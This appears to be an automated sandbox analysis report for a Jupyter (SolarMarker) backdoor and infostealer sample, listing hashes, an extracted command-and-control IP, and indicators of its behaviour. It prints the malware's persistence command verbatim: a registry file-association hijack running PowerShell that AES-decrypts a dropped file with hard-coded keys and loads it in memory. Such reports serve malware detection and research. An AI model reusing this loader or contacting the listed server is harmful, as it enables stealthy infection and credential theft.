jupyter | 30fdcbb1f2999987df2eb6b32c6b0863487f3a55dc6ca65b0e9ef14a2234be15

Analysis

max time kernel
599s
max time network
602s
platform
windows10-1703_x64
resource
win10-20230220-en
resource tags

arch:x64arch:x86image:win10-20230220-enlocale:en-usos:windows10-1703-x64system
submitted
21-02-2023 13:59

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

$RZJBSB5.exe
Size

302.4MB
MD5

22c480b720f64323c2c9b93247d5c9ec
SHA1

aafc7bdc9c2b67c86515b5191c00ea1db45922e5
SHA256

30fdcbb1f2999987df2eb6b32c6b0863487f3a55dc6ca65b0e9ef14a2234be15
SHA512

c3c414a61f76e08c4eefa487f69838243071f605294d2f277306858d056765886846f9d7007c146acf673d4dc83908f9f6d79068205d71fe2b3d6b11fee9f594
SSDEEP

49152:uRqZyBLrWNGrb/TEvO90d7HjmAFd4A64nsfJ89KEdvjdBQKjrkRGtb1xYg7+0Y6g:cW

Score

10^/10

jupyter backdoor stealer trojan

Malware Config

Extracted

Family

jupyter

http://146.70.161.126

Signatures

Jupyter, SolarMarker
Jupyter is a backdoor and infostealer first seen in mid 2020.
backdoor trojan stealer jupyter

Blocklisted process makes network request 1 IoCs

flow	pid	Process
6	3924	powershell.exe

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\w2srnyagayd.lnk	powershell.exe

Modifies registry class 7 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3853465373-1718857667-1861325682-1000_Classes\24eeurs1ylq\shell\open\command\ = "powershell -command \"$A=New-Object System.Security.Cryptography.AesCryptoServiceProvider;$A.Key=@([byte]133,165,236,47,97,52,224,19,17,83,18,190,103,228,59,187,224,102,137,106,50,192,211,70,56,15,156,77,135,31,120,97);$A.IV=@([byte]124,49,69,244,29,153,237,162,142,248,178,31,144,35,21,204);$F=[Convert]::FromBase64String([IO.File]::ReadAllText('C:\\Users\\Admin\\qkge3jcwqpk.4fiogvf051v'));[Reflection.Assembly]::Load($A.CreateDecryptor().TransformFinalBlock($F,0,$F.Length));[tFRnUqM6yokMORTCQTcvWCNIieWokxn21zabD9OzPw40x3pcfb04HUoG0z7TBgb.r2Ha19C5g7CkWUOInFr4I9c9xo2lUSHVWqP2RCpVIUHvcpSfZcOsQQGGs]::crfL33M9t_IvR8F8mDk9Ki72QQRB0VSBdq_bNHIG84_k();\""	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-3853465373-1718857667-1861325682-1000_Classes\.4fiogvf051v	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3853465373-1718857667-1861325682-1000_Classes\.4fiogvf051v\ = "24eeurs1ylq"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-3853465373-1718857667-1861325682-1000_Classes\24eeurs1ylq\shell\open\command	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-3853465373-1718857667-1861325682-1000_Classes\24eeurs1ylq	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-3853465373-1718857667-1861325682-1000_Classes\24eeurs1ylq\shell	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-3853465373-1718857667-1861325682-1000_Classes\24eeurs1ylq\shell\open	powershell.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
3924	powershell.exe
3924	powershell.exe
3924	powershell.exe
3924	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3924	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4144 wrote to memory of 3924	4144	$RZJBSB5.exe	67
PID 4144 wrote to memory of 3924	4144	$RZJBSB5.exe	67

C:\Users\Admin\AppData\Local\Temp\$RZJBSB5.exe
"C:\Users\Admin\AppData\Local\Temp\$RZJBSB5.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4144
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell
  2⤵
  - Blocklisted process makes network request
  - Drops startup file
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3924

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xjrf1x24.5pi.ps1

Filesize
1B

MD5
c4ca4238a0b923820dcc509a6f75849b

SHA1
356a192b7913b04c54574d18c28d46e6395428ab

SHA256
6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

SHA512
4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

Download Submit
memory/3924-120-0x0000022F52AE0000-0x0000022F52B02000-memory.dmp

Filesize
136KB

Download
memory/3924-147-0x0000022F6B0E0000-0x0000022F6B11C000-memory.dmp

Filesize
240KB

Download
memory/3924-158-0x0000022F6B6A0000-0x0000022F6B716000-memory.dmp

Filesize
472KB

Download
memory/3924-163-0x0000022F52B40000-0x0000022F52B50000-memory.dmp

Filesize
64KB

Download
memory/3924-164-0x0000022F52B40000-0x0000022F52B50000-memory.dmp

Filesize
64KB

Download
memory/3924-169-0x0000022F52B40000-0x0000022F52B50000-memory.dmp

Filesize
64KB

Download
memory/3924-170-0x0000022F52B40000-0x0000022F52B50000-memory.dmp

Filesize
64KB

Download
memory/3924-243-0x0000022F52B40000-0x0000022F52B50000-memory.dmp

Filesize
64KB

Download
memory/3924-249-0x0000022F6B190000-0x0000022F6B21E000-memory.dmp

Filesize
568KB

Download
memory/3924-254-0x0000022F52B40000-0x0000022F52B50000-memory.dmp

Filesize
64KB

Download